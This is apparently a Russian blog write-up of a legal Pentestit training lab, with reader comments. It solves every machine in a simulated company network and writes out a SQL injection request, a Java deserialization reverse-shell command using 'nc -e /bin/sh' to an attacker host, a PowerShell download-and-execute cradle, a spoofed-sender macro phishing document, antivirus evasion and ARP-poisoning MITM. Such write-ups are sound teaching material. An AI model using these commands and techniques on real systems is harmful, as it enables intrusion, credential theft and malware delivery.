Компания Pentestit 20-го мая запустила новую, уже девятую лабораторию для проверки навыков практического тестирования на проникновение.
Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.
К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.
Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!
Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.
Подключение к лаборатории
Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.
Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.
Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.
Начинаем тестирование
После регистрации и подключения мы видим следующую схему сети:
VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.
Начнем с быстрого сканирования портов.
Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.
Изучаем MAINSITE
Начнем с того, чтобы зайти по адресу 192.168.101.8:
Нас автоматически редиректит на www.cybear32c.lab, посмотрим на это внимательнее:
Нам приходит заголовок
Location: http://cybear32c.lab
— виртуальный хост, по которому собственно и будет доступен сайт компании. Добавляем нужный домен в
/etc/hosts
и пробуем еще раз:Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):
Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:
Параллельно смотрим на сайт, видим, что это — Wordpress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.
Для Wordpress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.
Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…
Обход WAF
Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.
К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.
Прокси запрашивает авторизацию:
Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.
Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:
Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):
Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.
Эксплуатация уязвимостей в Wordpress плагине
Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:
На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.
Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.
Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:
GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1
Получаем номер версии MySQL:
Результат: 5.5.49-0+deb8u1.
Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:
Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (
' -- '
) для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.Получаем доступные базы с использованием опции --dbs:
Затем таблицы (
-D tl9_mainsite --tables
):И осталось только получить данные из таблицы wp_token с помощью команды:
Токен BYPASS
Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:
Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:
Сервис уязвим! Для эксплуатации воспользуемся скриптом отсюда. После прочтения множества
Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:
Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):
Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.
Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.
Атакуем SSH
Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:
Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала “The password”, а потом еще и “Password”.
Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.
Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.
Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.
Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!
Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: github.com/krakenwaffe/eyelog/blob/master/mypam.c. После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас “The password”.
Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:
Видим, что введенный пароль проходит сравнение с
daypass<день><час>
. Пробуем подставить текущее значение, а именно “daypass80” на момент написания этой части документа:Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:
Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:
Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known_hosts) — наверняка пригодится в дальнейшем!
Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.
Следующие шаги
После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.
На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.
Проброс портов
Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.
В первую очередь рекомендую изучить статью «Pivoting или проброс портов».
Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.
Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:
После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:
Photo-hosting и загрузка файлов
Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.
С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.
Для начала посмотрим, на чем написан сайт:
И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.
Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:
Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:
Изменить MIME-тип и расширение не помогает:
Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью
getimagesize()
, которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:Файл загрузился успешно и даже доступен:
Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:
Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:
И удачно получаем коннект:
Прямо в папке upload можно найти токен в скрытой поддиректории:
Кстати, ради интереса можно изучить и исходники:
Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.
Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!
Изучаем FTP
Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.
ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.
Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:
Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:
Похожий backdoor был встроен в версию 1.3.3с во время атаки на ProFTPD.
Попробуем воспользоваться предоставленным бекдором!
Ну и в папке /home находим целый набор интересных файлов:
Кроме токена в папке “old” мы находим:
- новую учетную запись m.barry,
- тестовый скрипт в папке m.barry/upload/test_scripts,
- конфигурационный файл роутера cisco c паролями,
- файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test_scripts c FTP и, возможно, запускает их.
К сожалению, просто так подложить файл в test_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.
Cамый быстрый токен — CISCO
Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:
Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:
Находим пароль, пробуем его и получаем привилегированный режим:
Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:
С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).
Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.
NAS и незащищенные бэкапы
Продолжая изучать разные подсети, натыкаемся на сервер NAS:
Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.
Начнем с проброса порта на локальную машину:
Устанавливаем iscsiadm и пробуем подключиться:
Пробуем подключиться, не получается.
Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.
Попробуем альтернативный вариант проброса портов и воспользуемся sshuttle. Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:
Удалось подключиться! Теперь изучим содержимое появившегося диска:
Теперь нужно подключить и этот vmdk:
Он начинается на диске по смещению 63 * 512 байт, а именно 32,256:
После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:
Есть! В поисках интересного находим пользователя token_nas_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWS\system32\config к себе и пробуем посмотреть сохраненные хеши паролей:
Чтобы долго не перебирать хеши локально, воспользуемся сервисом rainbowtables.it64.com. Можно сделать это и у себя, но с помощью сервиса будет быстрее.
Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.
Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:
И получаем пароли c помощью опции -show:
Пароль от token_nas_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!
Terminal2
Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:
Попробуем подключиться, используя учетные данные d.rector из NAS:
Токен находится прямо на рабочем столе!
DEV и MITM
С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:
Очевидно, dev сервер обращается к FTP, скачивает оттуда все *.py файлы из папки test_scripts, как видно в trouble.cap, и, вероятнее всего, выполняет их. Доступ в эту папку на FTP сервере можно получить только от root.
Теперь, когда в нашем распоряжении сервер terminal, на котором удобно расположен Intercepter-NG, мы можем легко организовать MITM атаку. Попробуем!
Включаем Intercepter-NG из папки C:\Intercepter-NG. Первым делом нужно просканировать локальную сеть. Нажимаем правой кнопкой на пустом месте в таблице, ставим на всякий случай побольше ARP Scan Timeout и запускаем Smart Scan.
Intercepter при этом рассылает ARP запросы в своей подсети, чтобы определить существующие в ней хосты, а затем пробует определить, какая на каждом из них установлена ОС.
Отлично, определились два хоста:
Stealth IP — это несуществующий IP адрес, который используется Intercepter-ом для осуществления MITM-атаки.
Так как клиент и сервер находятся в разных подсетях, они будут общаться друг с другом через шлюз; добавляем 3.3 в NAT, а 3.254 как шлюз.
Параллельно нужно создать папочку на ftp сервере, в которую будет заходить dev, вместо папки upload. В названии должно быть столько же символов, сколько и в “upload”, так как Intercepter-NG может делать замену в трафике только для строк одинаковой длины.
В скрипт test.py, конечно, разместим полезную нагрузку — реверс шелл на 172.16.0.2 на порт 6666:
Настраиваем Intercepter:
Traffic changer будет заменять upload на .uploa и, соответственно, когда m.barry сделает CWD upload, он попадет в нашу директорию .uploa и оттуда уже скачает наш скрипт, который и создаст нам reverse shell.
Включаем слушающую часть на SSH:
И включаем Incercepter нажатием трех кнопок: сначала общий sniff-инг справа вверху, затем NAT и затем ARP poison.
Через минуту получаем шелл:
А заодно и токен сервера dev:
“Tragick” SITE-TEST
Теперь обратим свое внимание на сервер site-test. Как обычно в web задачах лаборатории, попробуем запустить whatweb и dirb, чтобы узнать, что есть на сервере.
Сайт написан на PHP фреймворке laravel, который активно поддерживается. Кроме того, включены детальные логи ошибок:
Отсюда часто можно выудить информацию о внутренних путях на сервере, которая потом может пригодиться, например, при SQL инъекции. Но в данном случае это нам не сильно помогает…
dirb быстро начинает находить следующие доступные URLs:
Безуспешно попробовав все учетные данные, которые уже были собраны за время прохождения лаборатории в админке, переключаемся на форму аплоада фотографии, тоже представленную на сайте, если по нему просто походить и нажать JOIN US:
Снова загрузка картинок, но теперь не удается найти, где эти картинки складываются (хотя папка /upload тоже через какое-то время обнаруживается утилитой dirb — но файлы в ней не доступны по исходным именам).
Попробуем уязвимость в ImageMagick, которая получила название ImageTragick.
Конструируем файл для загрузки:
И включаем nc на порт 1234 на сервере SSH. Заполняем форму и загружаем файл oops.jpg c текстовым содержимым, показанным сверху.
Вот и коннект! В корневой папке (cd /) видим token.txt:
Открываем PORTAL
Попробуем изучить сервер portal. Начнем со сканирования портов.
Обнаружился порт 8080, зайдя на который мы, собственно, и увидим портал:
Пробуем разные пароли из тех, что были найдены ранее. Подходит, например, логин t.smith с его паролем. Пароли можно было переиспользовать уже два раза — на terminal2 и здесь.
Получаем страницу отпусков и новые учетные данные:
Пробуем зайти или подобрать пароль к логину a.petrov — безуспешно. Затем обращаем внимание на куки:
Выглядит как base64, декодируем:
Это Java объект, в котором хранится имя пользователя и хеш его пароля в виде md5. Пробуем «подсунуть» имя a.petrov — не срабатывает.
Раз объект приезжает на клиент и затем восстанавливается на сервере, попробуем копнуть в этом направлении.
Во время восстановления объекта из строки base64 в бинарный формат и затем в память (десериализации) есть недавно продемонстрированная возможность выполнения произвольного кода. Такая уязвимость была, например, в Jenkins. Для эксплуатации пробуем использовать утилиту ysoserial.
После прочтения инструкции становится понятно, что есть возможность выполнить произвольную команду на сервере, используя утилиту. Она генерирует Java-объект, который потом во время десериализации выполнит
нужную нам команду (а именно reverse shell, в нашем случае).
Пишем небольшую команду для удобной отправки содержимого, генерируемого ysoserial в виде base64-куки на bash:
curl -b 'userInfo="'$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' ‘http://192.168.1.2:8080/index.jsp'
Возникает ошибка при выполнении:
Находим эту же проблему прямо на гитхабе разработчика.
Она уже исправлена в репозитории, но еще не собрана в release. Клонируем новую версию с github, устанавливаем maven и собираем ее локально:
apt-get install maven
git clone https://github.com/frohoff/ysoserial.git
mvn compile package
Получаем нужный нам файл!
Обновляем команду на новый payload Commons-Collections5:
curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 1235' | base64 | tr -d '\n')'"' 'http://192.168.1.2:8080/index.jsp'
На сервере ssh как обычно запускаем netcat, который слушает на порту 1235, запускаем на выполнение и:
Долгожданный шелл. Находим token.txt в корневой папке:
И еще один токен поддался!
Поизучав немного портал, находим кое-что интересное в crontab:
Скрипт проверки почты! Посмотрим, что в нем.
Имя и пароль b.muncy в почту! Вот мы и подобрались вплотную к заданию mail.
Roundcube Mail
В лаборатории используется сервер Roundcube, в котором было много уязвимостей, но в данной версии все известные уже исправлены.
Попробуем с другой стороны. Заходим в почту с паролем от b.muncy:
Почтовый ящик пустой. Но, так как на портале был робот, автоматически проверяющий почту, попробуем отослать сообщения другим аккаунтам, которые мы уже узнали.
Один из них — r.diaz — отвечает на письма! Пробуем отправить ему что-то еще.
И получаем ответ:
После общения с ботом становится понятно, что нужно применять social engineering. Пробуем отсылать боту разные файлы: PDF, Word-документы и так далее. И вот, на одну из таких отправок бот реагирует!
Если отправить в аттачменте Word-документ, он выдает токен и сообщение о том, что такого рода файлы можно открывать, только если они приходят от r.lampman-a. Попробуем это сделать!
Terminal
На сервере terminal закрыт порт 3389 для rdp, а в оставшихся нет ничего интересного. Где, как ни там, спрятался r.diaz и открывает Word-документы!
Я сделал предположение, что на сервере terminal установлен Microsoft Security Essentials, как это было и на сервере terminal2, и локально установил Windows с таким же антивирусом, чтобы потестировать на месте прежде, чем отправлять документ.
Атака, в данном случае, получается многоступенчатая. Чтобы получить сессию на terminal, нам нужно:
- научиться отправлять письма r.diaz-у от r.lampman (его пароля к почте у нас нет),
- сформировать документ с reverse shell payload,
- обойти антивирус Microsoft Security Essentials,
- включить listener на своем компьютере на порту 443 (только 80 и 443 открыты изнутри сети).
Отправка писем
Попробуем написать скрипт, который будет автоматически отправлять письма r.diaz-у от имени r.lampman с использованием пароля b.muncy.
Для этого будем подставлять нужный адрес в поле FROM:
Здесь важно несколько вещей:
- заменить значение поле FROM на нужное,
- подставить правильный MIME-тип, чтобы было понятно, что отправляется именно Word-документ
- не забыть закодировать документ в base64, чтобы он не испортился при передаче,
- пробросить порт 587 с 172.16.0.1 на локальную машину:
Формируем payload
Теперь нужно создать Word-документ, который не определяется антивирусами как зараженный. После множества неудачных попыток (удобно тестировать в своей среде перед настоящей атакой), получилось выработать рабочий вариант.
Не будем весь payload сохранять сразу в документ, а сделаем так, чтобы он скачивал его с нашего сервера. Для этого сделаем следующее:
1. Используем setoolkit для создания payload:
Выбираем опцию 1 (Social-Engineering Attacks), затем 9 (Powershell Attack Vectors) и затем 1 (Powershell Alphanumeric Shellcode Injector):
Запускаем на локальной машине веб сервер и копируем полученный payload из /root/.set/reports/powershell в /var/www/html/payload.txt:
Проверяем, что файл доступен:
2. Формируем документ
Я использовал этот вариант запуска, описанный в этой статье.
Как показано, нам нужно обфусцировать команду загрузки payload:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_ip>/payload.txt'))"
Чтобы это сделать, можно использовать Java-апплет из статьи, доступный здесь. Запускаем:
Вводим:
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://<your_pentestit_ip>/payload.txt'))"
Получаем результат и вставляем в документ. Я добавил еще Document_Open() на всякий случай.
При добавлении макроса важно сохранить его именно в документ, а не в шаблон Normal.
Сохраняем документ с расширением docm, кладем в папочку со скриптом senddoc.py, и теперь остался последний шаг.
3. Запускаем Metasploit
Перед запуском еще раз проходимся по небольшому «чеклисту»:
- payload доступен по адресу your_ip/payload.txt,
- порт 587 с 172.16.0.1 проброшен на локальный 127.0.0.1,
- документ находится в папке вместе со скриптом для отправки почты.
Запускаем!
И через минуту:
Идем в C:\Users\r.diaz\Desktop и получаем токен!
SSH-TEST — последний барьер
Остается последний сервер, на который пока что мы не нашли никаких зацепок в сети. Просканировав все его порты, определяем, что ни один из них не отвечает.
При этом все, кроме трех, отвечают нам RST пакетами (закрыты), а 3 — просто отбрасывают все приходящие на них пакеты.
Это наводит на мысль о том, что в эти порты нужно «постучать» в надежде на то, что порт 22 (ssh) откроется при правильной комбинации на мгновение, за которое мы успеем к нему подключиться.
Кстати, на сервере ssh мы в самом начале прохождения нашли ключ в папке .ssh у пользователя d.nash:
Наверняка он нам здесь пригодится. Итак, для того, чтобы стучать в нужный порт, делаем следующее:
Запускаем sshuttle, чтобы ходить к серверу напрямую:
Удобно указать нужную подсеть, чтобы остался доступ в Интернет.
Копируем ключ d.nash id_rsa себе на диск:
Устанавливаем утилиту knock, которой будем стучать в нужные порты:
Пробуем 6 комбинаций этих трех портов, и одна из них срабатывает!
Вот и последний токен! Лаборатория пройдена.
Послесловие
Этот документ описывает всего лишь один из способов прохождения лаборатории. Уверен, что вариантов очень много. Если вы знаете какой-то интересный способ решения той или иной задачи, о котором я здесь не упомянул, буду рад узнать о нем в комментариях.
Надеюсь, что эта статья поможет тем, кто еще не занимался пентестом, окунуться в мир информационной безопасности и попробовать себя в настоящем практическом тестировании.
Лаборатория будет доступна до ноября, поэтому времени на обучение будет достаточно, а этот writeup поможет начать. Не сдавайтесь в процессе, и, как говорится: Try Harder.
Удачи!
Комментарии (26)
LukaSafonov
21.06.2016 15:43+5Алексей, очень приятно видеть такой отзыв!
alexeystoletny
21.06.2016 15:49+7Спасибо вам за лабораторию! В мае и в ноябре, когда они стартуют, за неделю-две можно узнать больше, чем за несколько месяцев :-)
sidristij
22.06.2016 11:35LukaSafonov, а почему старые глушите? Из-за ресурсов? Я думаю, было бы интересно пройти и ранние тем кто прошел только последние
Zwerg
21.06.2016 16:53+3Отличная статья! Всегда при прохождении самое интересное это догадаться до того где уязвимость, и вот этот процесс к сожалению показать в статье нельзя.
Ждем следующую лабу в ноябре.
rodionovs
21.06.2016 17:03+12Разработка лаборатории — дело не простое, нужно соединить уязвимости в единый сюжет, реализовать, предусмотреть действия атакующих, при которых уязвимость может оказаться недоступной для других участников. Срок разработки каждой лаборатории — 3-4 месяца, при этом над каждой лабораторией трудятся более 10 специалистов. В общем — дело крайне утомительное и ресурсоемкое, однако, читая такие отзывы, понимаешь, что этот труд не напрасен. Спасибо всем причастным: и тем, кто реализовал, и тем, кто нашел возможность поучаствовать, за их бессонные ночи и тектонический труд. И отдельное спасибо Майоровскому Максиму (@xtalf) — главному дирижеру лабораторий Pentestit.
drdoc
21.06.2016 17:15+4Отличная статья, спасибо огромное, все так детально описано. И после прочтения статьи, сразу несколько пунктов у себя отметил что нужно подтянуть)
Jekidollar
21.06.2016 23:02+2Имеется ли доступ к предыдущим лабораториям? Есть ли архивы и образами и заданиями?
alexeystoletny
21.06.2016 23:51+3К сожалению, сами лаборатории предыдущих версий уже не доступны — есть только частичные описания седьмой и writeup восьмой. Возможно, у авторов есть что-то еще — я начал участвовать с 7-й лаборатории.
littleguga
21.06.2016 23:03+2Большое спасибо за статью, почерпнул много нового для себя.
Не понял только, а в CISCO — где токен был то?alexeystoletny
21.06.2016 23:53+2Спасибо! CISCO токен видно сразу при логине в нее telnet-ом с использованием пароля, найденного в задании FTP. Я его видимо слишком сильно размыл на картинке, и его не особо видно :-)
BeLove
21.06.2016 23:18+6Огонь. Не знаю, откуда столько времени и у автора статьи, и у организаторов на подобную работу (не сфейлить таски при подготовке, все оттестировать — это сложнее, чем их придумать).
alexeystoletny
21.06.2016 23:54+3Если честно и сам не знаю откуда брать на это время, но когда появляется новая лаборатория устоять тяжело :-)
dronmaxman
21.06.2016 23:47+3Каждый раз узнаю что-то новое)) Супер!
… и начинаю латать дыры в своей инфраструктуре…
click0
22.06.2016 07:24Все-таки, зря вы упростили VPN соединение.
Понизьте на нем MTU, например до 1400 байт :)
ProX_Alex
22.06.2016 23:36+3Огромнейшее спасибо за материал, прочтен на одном дыхании. Продолжайте в этом же духе, ждем новых статей. А я пошел проходить лабораторию по туториалу.
Gamer_404
24.06.2016 12:42+2Вот это статьища!!! просто респект!
Правда застрял на шаге с получением пасса для d.rector юзера с SAM файла… подскажите плз, что находится в файлах passwords_lm.txt и h.txt которые вы подпихиваете в john. на сколько я понимаю в h.txt находится вывод с SAM файла с LM и NTLM хешами, а passwords_lm.txt словарь пассов (rock_you.txt)?
Спасибо!alexeystoletny
24.06.2016 19:03+1Спасибо большое за отзыв!
В h.txt находится output из samdump — то есть имена пользователей, ID, LM и NTLM-хеши.
В файл passwords_lm.txt я сохранил найденные с помощью сервиса rainbowtables.it64.com пароли в верхнем регистре. Джон затем, если ему включить опцию rules=NT, будет пробовать менять регистр каждой буквы, считать NTLM-хеш, и сравнивать полученное с исходным хешем из файла.
Так можно будет получить пароли в настоящем регистре, а не в верхнем.
На всякий случай, резюмируем процесс:
- Получаем хеши из SAM
- Берем LM-хеши, и на основании их получаем пароли в верхнем регистре (если настоящий пароль abcDeF, то из LM-хеша мы получим ABCDEF.
- Чтобы восстановить регистр, сохраняем пароль ABCDEF в файл, и используем джон с опцией rules=NT, при которой он пробует все варианты верхних и нижних регистров уже с NTLM-хешем, для того чтобы получить исходный abcDeF из ABCDEF.
armid
24.06.2016 13:13+3И хоть большая часть тут для меня вообще не ясна, материал прочел на одном дыхании. Круто! Спасибо.
HardWrMan
28.06.2016 18:26+2Такие мануалы следует читать сценаристам из Голливуда. Но тогда пипл не схавает: зрителю нужен суперавтовзломщик с живым видео и развитым GUI и чтобы на одной дискетке…
Telescopium
01.07.2016 17:19Они сейчас и не парятся и показывают только социальный инжиниринг. Там кличку собачки узнал, тут пришёл, понимаешь, пиццу доставил и стикер с монитора стырил
sidristij
Вот и поучусь на вашем мануале =))
sidristij
Это как отличный детектив =))) Офигенно